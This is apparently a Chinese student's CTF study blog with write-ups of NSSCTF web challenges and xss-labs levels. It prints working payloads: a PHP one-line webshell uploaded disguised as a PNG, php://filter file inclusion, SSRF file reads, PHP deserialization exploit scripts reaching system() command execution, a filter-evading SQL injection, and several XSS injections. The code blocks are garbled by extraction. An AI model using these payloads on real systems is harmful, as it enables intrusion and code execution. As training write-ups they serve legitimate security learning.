1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /upload.php HTTP/1.1 Host : node4.anna.nssctf.cn:28055Content-Length : 354Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://node4.anna.nssctf.cn:28055Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryrWwjxZ6YBiFAz2LmUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://node4.anna.nssctf.cn:28055/Accept-Encoding : gzip, deflate, brCookie : Hm_lvt_648a44a949074de73151ffaa0a832aec=1748528050; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1748528050; HMACCOUNT=1B73E9281BD50EC7; PHPSESSID=fve350i8dhj45k2ls9htd4l6r5Connection : keep-aliveContent-Disposition: form-data; name ="uploaded"; filename="shell.png" Content-Type : image/png <script language ='php' >@eval($_POST[shell]);</script> Content-Disposition: form-data; name ="submit" 这不传一个🐎？
然后传.htaccess
蚂蚁直接连
[鹏城杯 2022]简单包含 上来能看到给出的源码：
1 2 3 4 <?php highlight_file (__FILE__ );include ($_POST ["flag" ]);
直接传入flag=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $path = $_POST ["flag" ];if (strlen (file_get_contents ('php://input' )) < 800 && preg_match ('/flag/' , $path )) {echo 'nssctf waf!' ;else {include ($path );?> "color: #000000" >"color: #0000BB" ><?php <br />highlight_file</span><span style="color: #007700" >(</span><span style="color: #0000BB" >__FILE__ </span><span style="color: #007700" >);<br />include (</span><span style="color: #0000BB" >$_POST </span><span style="color: #007700" >[</span><span style="color: #DD0000" >"flag" </span><span style="color: #007700" >]);<br /></span><span style="color: #FF8000" >
看deepseek解释
1 if (strlen (file_get_contents ('php://input' )) < 800 && preg_match ('/flag/' , $path ))
其中有&&效果与and相同，若是两个条件达成就会执行if
1 flag=php:// filter/convert.base64-encode/ resource=flag.php&a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[LitCTF 2025]easy_signin 开题先是无法访问，扫目录扫出这些：
1 2 3 4 5 [01:51:25] 301 - 169B - /api -> http://node6.anna.nssctf.cn/api/
访问login.php
1 {"code" :400 ,"msg" :"\u 53c2\u 6570\u 4e0d\u 5b8c\u 6574" }
访问html
抓包尝试了一下，发现username和password是md5加密过的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /login.php HTTP/1.1 Host : node6.anna.nssctf.cn:28934Content-Length : 107X-Sign : f6b57bb04015bf000f17e5d5dda37935Accept-Language : zh-CN,zh;q=0.9User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Content-Type : application/x-www-form-urlencodedAccept : */*Origin : http://node6.anna.nssctf.cn:28934Referer : http://node6.anna.nssctf.cn:28934/login.htmlAccept-Encoding : gzip, deflate, brCookie : Hm_lvt_648a44a949074de73151ffaa0a832aec=1748528050Connection : keep-aliveusername =ee11cbb19052e40b07aac0ca060c23ee&password=202 cb962ac59075b964b07152d234b70×tamp=1748714891098
尝试对admin 密码爆破没结果
浏览器中f12查看网络去向能看到一个api地址
1 2 3 http://node6.anna.nssctf.cn:28934/api.js
然后
1 2 3 http:// node6.anna.nssctf.cn:28934 /api/ sys/urlcode.php?url=file:/ // var/www/ html/login.php
http://node6.anna.nssctf.cn:28934/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!?phperror_reporting (0 );function curl ($url $ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_exec ($ch );curl_close ($ch );$url = $_REQUEST ['url' ];if ($url ){$forbidden_protocols = ['ftp://' , 'php://' , 'zlib://' , 'data://' , 'glob://' , 'phar://' , 'ssh2://' , 'rar://' , 'ogg://' , 'expect://' ];$protocol_block = false ;foreach ($forbidden_protocols as $proto ) {if (strpos ($url , $proto ) === 0 ) { $protocol_block = true ;break ;$log_block = strpos ($url , '.log' ) !== false ; if ($protocol_block ) {echo "禁止访问：不允许使用 {$proto} 协议" ;elseif ($log_block ) {echo "禁止访问：URL 包含 .log" ;elseif (strpos ($url , 'login.php' ) !== false || strpos ($url , 'dashboard.php' ) !== false || strpos ($url , '327a6c4304ad5938eaf0efb6cc3e53dc.php' ) !== false ) {echo "看不见哦" ;else {echo "<b-->
然后看到里面有个327a6c4304ad5938eaf0efb6cc3e53dc.php
看到有大佬写马的wphttps://www.cnblogs.com/TouHp/p/18895822
[LitCTF 2025]星愿信箱 原来这题直接用fenjing就能梭出来的，这倒是发现了我环境的问题
1 2 3 4 5 6 7 原指令： fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data '{"cmd": "a"}' --key cmd --replaced-keyword-strategy ignore d 导给的命令: fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data '{\"cmd\": \"a\"}' --key cmd --replaced-keyword-strategy ignore
要不说以后fenjing在linux里跑？
[鹤城杯 2021]EasyP 开题先见源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php' ;if (isset ($_POST ['guess' ])) {$guess = (string ) $_POST ['guess' ];if ($guess === $secret ) {$message = 'Congratulations! The flag is: ' . $flag ;else {$message = 'Wrong. Try Again' ;if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) {exit ("hacker :)" );if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){exit ("hacker :)" );if (isset ($_GET ['show_source' ])) {highlight_file (basename ($_SERVER ['PHP_SELF' ]));exit ();else {show_source (__FILE__ );?>
只看一眼，看上去像是猜谜游戏，过滤了：
但是又设置又’/show_source/‘成功传入后的结果，所以应该是能绕过正则过滤的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php include 'utils.php' ;if (isset ($_POST ['guess' ])) {$guess = (string ) $_POST ['guess' ];if ($guess === $secret ) {$message = 'Congratulations! The flag is: ' . $flag ;else {$message = 'Wrong. Try Again' ;if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) {exit ("hacker :)" );if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){exit ("hacker :)" );if (isset ($_GET ['show_source' ])) {highlight_file (basename ($_SERVER ['PHP_SELF' ]));exit ();else {show_source (__FILE__ );?>
basename($_SERVER[‘PHP_SELF’]) 是什么意思
所以是
1 2 3 4 if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) {exit ("hacker :)" );
看网上wp的办法是在url的实际路径上添加不影响路径解析的字符
问ai找出能用的：
1 2 3 4 5 6 7 8 9 10 零宽度空格（Zero-Width Space）%E2 %80 %8 B%EF %BC %A0 （全角空格）%20 （普通空格）%E3 %80 %81 （中文逗号）、%E3 %80 %82 （中文句号）等
然后是
1 2 3 4 if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){exit ("hacker :)" );
的绕过
继续追问:
空格 → 下划线 _
点号 . → 下划线 _
其他特殊字符也会被转换
这是 PHP 的默认行为，可以在 php.ini 中通过 request_parameter_handling 配置，但默认是启用的。
[LitCTF 2025]君の名は 开题先给源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php highlight_file (__FILE__ );error_reporting (0 );create_function ("" , 'die(`/readflag`);' );class Taki private $musubi ; private $magic ; public function __unserialize (array $data {$this ->musubi = $data ['musubi' ]; $this ->magic = $data ['magic' ]; return ($this ->musubi)(); public function __call ($func ,$args new $args [0 ]($args [1 ]))->{$this ->magic}();class Mitsuha private $memory ; private $thread ; public function __invoke ( {return $this ->memory.$this ->thread;class KatawareDoki private $soul ; private $kuchikamizake ; private $name ; public function __toString ( {$this ->soul)->flag ($this ->kuchikamizake,$this ->name);return "call error!no flag!" ;$Litctf2025 = $_POST ['Litctf2025' ];if (!preg_match ("/^[Oa]:[\d]+/i" , $Litctf2025 )){unserialize ($Litctf2025 );else {echo "把O改成C不就行了吗,笨蛋!～(∠・ω< )⌒☆" ;
反序列化，看看ai怎么说
ai没用，但是找到了出题人的wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php highlight_file (__FILE__ );error_reporting (0 );class Taki public $musubi ;public $magic = "invoke" ;class Mitsuha public $memory ;public $thread ;class KatawareDoki public $soul ;public $kuchikamizake = "ReflectionFunction" ;public $name = "\000lambda_1" ;$a = new Taki ();$b = new Mitsuha ();$c = new KatawareDoki ();$a ->musubi = $b ; $b ->thread = $c ; $c ->soul = $a ; $arr =array ("evil" =>$a );$d =new ArrayObject ($arr );echo urlencode (serialize ($d ));
有没见过的知识点
TGCTF 2025 什么文件上传？ 好像上传啥都回显 hacker
浅浅扫一下目录
1 2 3 4 5 6 7 [23:39:02] 403 - 548 B - /assets/[23:39:02] 301 - 162 B - /assets -> http:[23:39:04] 301 - 162 B - /css -> http:[23:39:15] 200 - 239 B - /robots.txt [23:39:19] 200 - 0 B - /upload.php [23:39:19] 403 - 548 B - /uploads/[23:39:19] 301 - 162 B - /uploads -> http:
原来前端里已经提示：机器人是啥？
robots:
1 2 3 4 5 6 7 8 9 User-Agent: * Disallow: / admin/ Disallow: / private/ Disallow: /baidu Disallow: / s? Disallow: /unlink Disallow: /phar Disallow: ! @* ($^&* ! @^&! * (@$Disallow: / class.php
只有class.php 能连上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php highlight_file (__FILE__ );error_reporting (0 );function best64_decode ($str {return base64_decode (base64_decode (base64_decode (base64_decode (base64_decode ($str )))));class yesterday public $learn ;public $study ="study" ;public $try ;public function __construct ( {$this ->learn = "learn<br>" ;public function __destruct ( {echo "You studied hard yesterday.<br>" ;return $this ->study->hard ();class today public $doing ;public $did ;public $done ;public function __construct ($this ->did = "What you did makes you outstanding.<br>" ;public function __call ($arg1 , $arg2 {$this ->done = "And what you've done has given you a choice.<br>" ;echo $this ->done;if (md5 (md5 ($this ->doing))==666 ){return $this ->doing ();else {return $this ->doing->better;class tommoraw public $good ;public $bad ;public $soso ;public function __invoke ($this ->good="You'll be good tommoraw!<br>" ;echo $this ->good;public function __get ($arg1 $this ->bad="You'll be bad tommoraw!<br>" ;class future private $impossible ="How can you get here?<br>" ;private $out ;private $no ;public $useful1 ;public $useful2 ;public $useful3 ;public $useful4 ;public $useful5 ;public $useful6 ;public $useful7 ;public $useful8 ;public $useful9 ;public $useful10 ;public $useful11 ;public $useful12 ;public $useful13 ;public $useful14 ;public $useful15 ;public $useful16 ;public $useful17 ;public $useful18 ;public $useful19 ;public $useful20 ;public function __set ($arg1 , $arg2 if ($this ->out->useful7) {echo "Seven is my lucky number<br>" ;system ('whoami' );public function __toString (echo "This is your future.<br>" ;system ($_POST ["wow" ]);return "win" ;public function __destruct ($this ->no = "no" ;return $this ->no;if (file_exists ($_GET ['filename' ])){echo "Focus on the previous step!<br>" ;else {$data =substr ($_GET ['filename' ],0 ,-4 );unserialize (best64_decode ($data ));?>
ai注释一下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 <?php highlight_file (__FILE__ );error_reporting (0 );function best64_decode ($str {return base64_decode (base64_decode (base64_decode (base64_decode (base64_decode ($str ))));class yesterday {public $learn ; // 公共属性learnpublic $study ="study" ; // 公共属性study，默认值为"study" public $try ; // 公共属性try public function __construct ()$this ->learn = "learn<br>" ;public function __destruct ()echo "You studied hard yesterday.<br>" ;return $this ->study->hard ();class today {public $doing ; // 公共属性doingpublic $did ; // 公共属性didpublic $done ; // 公共属性donepublic function __construct (){$this ->did = "What you did makes you outstanding.<br>" ;public function __call ($arg1 , $arg2 )$this ->done = "And what you've done has given you a choice.<br>" ;echo $this ->done;666 if (md5 (md5 ($this ->doing))==666 ){return $this ->doing ();else {return $this ->doing->better;class tommoraw public $good ; public $bad ; public $soso ; public function __invoke ($this ->good="You'll be good tommoraw!<br>" ;echo $this ->good;public function __get ($arg1 $this ->bad="You'll be bad tommoraw!<br>" ;class future private $impossible ="How can you get here?<br>" ; private $out ; private $no ; public $useful1 ;public $useful2 ;public $useful3 ;public $useful4 ;public $useful5 ;public $useful6 ;public $useful7 ;public $useful8 ;public $useful9 ;public $useful10 ;public $useful11 ;public $useful12 ;public $useful13 ;public $useful14 ;public $useful15 ;public $useful16 ;public $useful17 ;public $useful18 ;public $useful19 ;public $useful20 ;public function __set ($arg1 , $arg2 if ($this ->out->useful7) {echo "Seven is my lucky number<br>" ;system ('whoami' );public function __toString (echo "This is your future.<br>" ;system ($_POST ["wow" ]);return "win" ;public function __destruct ($this ->no = "no" ;return $this ->no;if (file_exists ($_GET ['filename' ])){echo "Focus on the previous step!<br>" ;else {$data =substr ($_GET ['filename' ],0 ,-4 );unserialize (best64_decode ($data ));?>
给d导解析了一下，没直接给出能用的payload，但是思路看了一下应该没问题，先调用yesterday 里的__destruct，里面调用了一个hard方法，对应today的_call，然后是当md5调用类时会将其当成字符串调用，对应future里的_toString，然后_toString里直传参wow即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class yesterday public $learn ;public $study ;public $try ;class today public $doing ;public $done ='test' ;class tommoraw class future $a = new yesterday;$b = new today;$c = new tommoraw;$d = new future;$a ->study = $b ;$b ->doing=$d ;$serialized = serialize ($a );$p = base64_encode (base64_encode (base64_encode (base64_encode (base64_encode ($serialized )))));echo $p .'aaaa' ;?>
然后再post里传wow来运行即可
[SWPUCTF 2022 新生赛]ez_sql 题目说参数为nss，get传nss=1
用联合注入发现被过滤了union，空格
1 nss=' uunionnion/**/select/**/1,database(),group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name=' NSS_tb'#
到这步就差不多了
java反序列化notice 现在理解的反序列大概就是传入一串字符，经java的处理变成能执行的语句，实现rec
序列化指的是将对象或数据结构转换为可存储或传输的格式的过程，实现的方法是writeObject()；反序列化则反之，实现的方法是readObject()，可以简单地理解为将文件压缩和解压缩的过程。
与PHP中反序列互相触发魔法函数导致的漏洞成因不同，java反序列化漏洞的成因主要是由于java序列化和反序列化机制的设计特点所致，简单地讲，只要反序列化代码中含有危险的命令代码，且该代码的参数是可控的，那它就存在该漏洞。
漏洞原理在我今天这里不是重要的，我主要想记录的是该漏洞的利用方式。
通常在解题中如果你看到一段字符串以rO0AB开头，那它是java序列化后base64编码的数据；如果一段字符串以aced开头，那它是java序列化后十六进制的数据，碰到这两种情况都基本可以认定该题考点为java反序列化漏洞，如果有直接接受该字符串的输入点，就可以尝试用链子直接打。
原文链接：https://blog.csdn.net/m0_64893612/article/details/136378608
[SWPUCTF 2021 新生赛]no_wakeup 学习笔记： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class HaHaHa public $admin ;public $passwd ;public function __construct ($this ->admin ="user" ;$this ->passwd = "123456" ;public function __wakeup ($this ->passwd = sha1 ($this ->passwd);public function __destruct (if ($this ->admin === "admin" && $this ->passwd === "wllm" ){include ("flag.php" );echo $flag ;else {echo $this ->passwd;echo "No wake up" ;$Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );
大概是get一个p参数，传给$Letmeseesee然后反序列化，可能p经过反序列化后会变成一个名为this的变量，里面包含有{admin,passwd},其中passwd经过sha1计算再赋值给原来的passwd，当this里的admin===admin，经过sha1计算的passwd===wllm时就会输出flag
KIMI：
你的审计思路基本正确，但有一些细节需要澄清：
然而怎么可能会有在经过sha1处理后的到wllm的值。
__wakeup() 的作用
所以大概就是当触发反序列化时__wakeup就会调用这个sha1.
网上正确的payload：
1 ?p=O:6 :"HaHaHa" :3 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
学习notice：
1 2 3 4 5 O ：表示这是一个对象（Object）。 O :6 :"HaHaHa" ：表示这是一个类名为HaHaHa的对象，类名长度为6 。 3 ：表示对象有3 个属性。 s :5 :"admin" ;s:5 :"admin" ;：第一个属性名为admin，值为admin。 s :6 :"passwd" ;s:4 :"wllm" ;：第二个属性名为passwd，值为wllm。
这个payload能够绕过__wakeup()方法的原因可能与PHP反序列化过程中的一些特性或漏洞有关，比如属性个数不匹配（CVE-2016-7124）。
绕过原理
我的理解就是：
O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:10:”wllm”;}
pop链，我也不知道是什么
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload，实战应用范围暂时没遇到，不过在CTF比赛中经常出现这样的题目，同时也经常与反序列化一起考察，可以理解为是反序列化的一种拓展，泛用性更强，涉及到的魔法方法也更多。
[SWPUCTF 2021 新生赛]pop 我想tag可以有：pop链，反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting (0 );show_source ("index.php" );class w44m private $admin = 'aaa' ;protected $passwd = '123456' ;public function Getflag (if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){include ('flag.php' );echo $flag ;else {echo $this ->admin;echo $this ->passwd;echo 'nono' ;class w22m public $w00m ;public function __destruct (echo $this ->w00m;class w33m public $w00m ;public $w22m ;public function __toString ($this ->w00m->{$this ->w22m}();return 0 ;$w00m = $_GET ['w00m' ];unserialize ($w00m );
学了大佬的wp https://blog.csdn.net/u010723806/article/details/142340216
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class w44m private $admin = 'w44m' ;protected $passwd = '08067' ;class w22m public $w00m ;class w33m public $w00m ;public $w22m ;$a =new w22m ();$a ->w00m=new w33m ();$a ->w00m->w00m=new w44m ();$a ->w00m->w22m='Getflag' ;echo urlencode (serialize ($a ));?>
看完后应该是因为只能传w00m的值，而w44m中无法直接传入，要通过一场串相互关联的类才能传入，这大概就是pop链吧
先是 w22m 和 w33m 都能传入w00m，
$this->w00m->{$this->w22m}(); 最终的效果是动态调用 $this->w00m 对象中的一个方法，方法的名称由 $this->w22m 决定。而 这条语句的意思就是调用了在w33m里的w00m属性（这里是w00m类）中的w22m方法。
为什么先赋值 w22m 利用 w22m 的 __destruct 方法：
触发 w33m 的 __toString 方法：
调用 w44m 的 Getflag 方法：
我的理解是：整个构造的最终目的是为了执行 w44m 类中的 Getflag 方法
对于__toString()，要求是在它类里的变量被实例化时才会被触发。所以$p->w00m = new w33m();则不会触发__toString()。而后面$a->w00m->w00m=new w44m();语句为w33m类中的变量实例化后，才能使_toString()方法可被调用，进一步让$a->w00m->w22m=’Getflag’;语句生效。
当我们传递的参数中含有private变量时，一定要url编码一下，否则会有不可见字符导致解析出错。
这是我猜测后端代码接收到传入后的样子：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class w22m public (w00m)class w33m public class (w00m )w44m private $admin = 'w44m' ;protected $passwd = '08067' ;public function Getflag (if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){include ('flag.php' );echo $flag ;else {echo $this ->admin;echo $this ->passwd;echo 'nono' ;public (w22m)'Getflag' ;public function __toString ($this ->w00m->{$this ->w22m}();return 0 ;public function __destruct (echo $this ->w00m;?>
1 $this ->w00m ->this ->
q:
的意思是让将w22m的值作为参数输入w00m吗
kimi:
不是的,例如，如果 $this->w22m 的值是 ‘Getflag’，那么这行代码就相当于 $this->w00m->Getflag()。
q:
那就是执行w00m中的getflag()？
kimi:
是的，这行代码的意思是执行 $this->w00m 对象中的 Getflag() 方法
那么我看总的意思是： 将w22m中的w00m赋值为w33m的类
wp作者：
1 2 3 4 5 6 7 8 $a=new w22m();a ->a ->w00m ->a ->w00m ->'Getflag' ;
https://blog.csdn.net/u010723806/article/details/142340216
最后payload
1 O :4 :"w22m" :1 :{s:4 :"w00m" ;O:4 :"w33m" :2 :{s:4 :"w00m" ;O:4 :"w44m" :2 :{s:11 :"w44madmin" ;s:4 :"w44m" ;s:9 :"*passwd" ;s:5 :"08067" ;}s:4 :"w22m" ;s:7 :"Getflag" ;}}
传入要型url编码，
当我们传递的参数中含有private变量时，一定要url编码一下，否则会有不可见字符导致解析出错
打一下xss-labs level 1 可以直接用payload:
1 <script>alert ("1" )</script>
level 2 自己没试出来，去网上找payload，发现闭合型标签 注入可用：
1 "><script>alert('XSS')</script>
源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level3.php?writing=wait" ; <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level2.php method=GET> <input name=keyword value="' .$str .'"> <input type=submit name=submit value="搜索"/> </form> </center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?>
分析一下源码，先是有htmlspcialchar来进行转义特殊字符，但是在下面的.$str.没有，所以也不需要考虑绕过
1 "><script>alert('XSS')</script>
会变成：
1 <input name=keyword value="'" ><script>alert ('XSS' )</script>'">
这里是先闭合了双引号，再闭合了input的尖括号，最后的script就变成了新元素执行了
level 3 先尝试：
1 <script>aler ('XSS' )</script>
查看返回页面原码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); window .location .href ="level4.php?keyword=try harder!" ; } </script > <title > 欢迎来到level3</title > </head > <body > <h1 align =center > 欢迎来到level3</h1 > <h2 align =center > 没有找到和< script> alert(" 1" )< /script> 相关的结果.</h2 > <center > <form action =level3.php method =GET > <input name =keyword value ='< script> alert(" 1" )< /script> ' > <input type =submit name =submit value =搜索 /> </form > </center > <center > <img src =level3.png > </center > <h3 align =center > payload的长度:27</h3 > </body > </html >
全都进行了转义，
示例用法：
1 javascript :alert ('Hello, World!' );
所以构造payload:
1 2 3 4 5 6 7 8 9 10 11 finish' onfocus=javascript:alert(' XSS ') ' '114514' >'finish' onfocus=javascript :alert ('XSS' ) '' >
level 4 先查看一下页面源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); window .location .href ="level5.php?keyword=find a way out!" ; } </script > <title > 欢迎来到level4</title > </head > <body > <h1 align =center > 欢迎来到level4</h1 > <h2 align =center > 没有找到和114514相关的结果.</h2 > <center > <form action =level4.php method =GET > <input name =keyword value ="114514" > <input type =submit name =submit value =搜索 /> </form > </center > <center > <img src =level4.png > </center > <h3 align =center > payload的长度:6</h3 > </body > </html >
注意到与level 3 只是 单引号 变成了 双引号
遂构造：
1 finish" onfocus=javascript:alert('XSS') "
完成挑战
level 5 先看一下前端：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); window .location .href ="level6.php?keyword=break it out!" ; } </script > <title > 欢迎来到level5</title > </head > <body > <h1 align =center > 欢迎来到level5</h1 > <h2 align =center > 没有找到和find a way out!相关的结果.</h2 > <center > <form action =level5.php method =GET > <input name =keyword value ="find a way out!" > <input type =submit name =submit value =搜索 /> </form > </center > <center > <img src =level5.png > </center > <h3 align =center > payload的长度:15</h3 > </body > </html >
怎么感觉，和上一关一样啊？
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); window .location .href ="level6.php?keyword=break it out!" ; } </script > <title > 欢迎来到level5</title > </head > <body > <h1 align =center > 欢迎来到level5</h1 > <h2 align =center > 没有找到和finish" onfocus=javascript:alert('xss') " 相关的结果.</h2 > <center > <form action =level5.php method =GET > <input name =keyword value ="finish" o_nfocus =javascript:alert( 'xss ') ""> <input type =submit name =submit value =搜索 /> </form > </center > <center > <img src =level5.png > </center > <h3 align =center > payload的长度:42</h3 > </body > </html >
onfocus 里 on 变成 o_n 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level6.php?keyword=break it out!" ; <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level5.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str3 )."</h3>" ;?>
依旧没有转义input里的str，那尝试构造：
1 '" ><a href=javascript:alert()>HIHI</a> <"'
成功
level 6 可以通过大小写绕过on和er的转义：
1 '" ><a hRef =javascript:alert() > HIHI</a > <"'
level 7 随便填个payload，然后查看页面源码。
发现这次是直接吧关键词过滤了，大小写绕不过了；
联想到sql注入类似的场景，双写试一下？
1 '" ><a hrhrefef=javascript:alert()>HIHI</a> <"'
成功了，但是点击不了，换一条payload看看呢：
1 finish" oonnfocus=javascript:alert('XSS') "
成功！
level 8 这里多了个添加友情连接，大概就是输入插入里面，源码看一下：
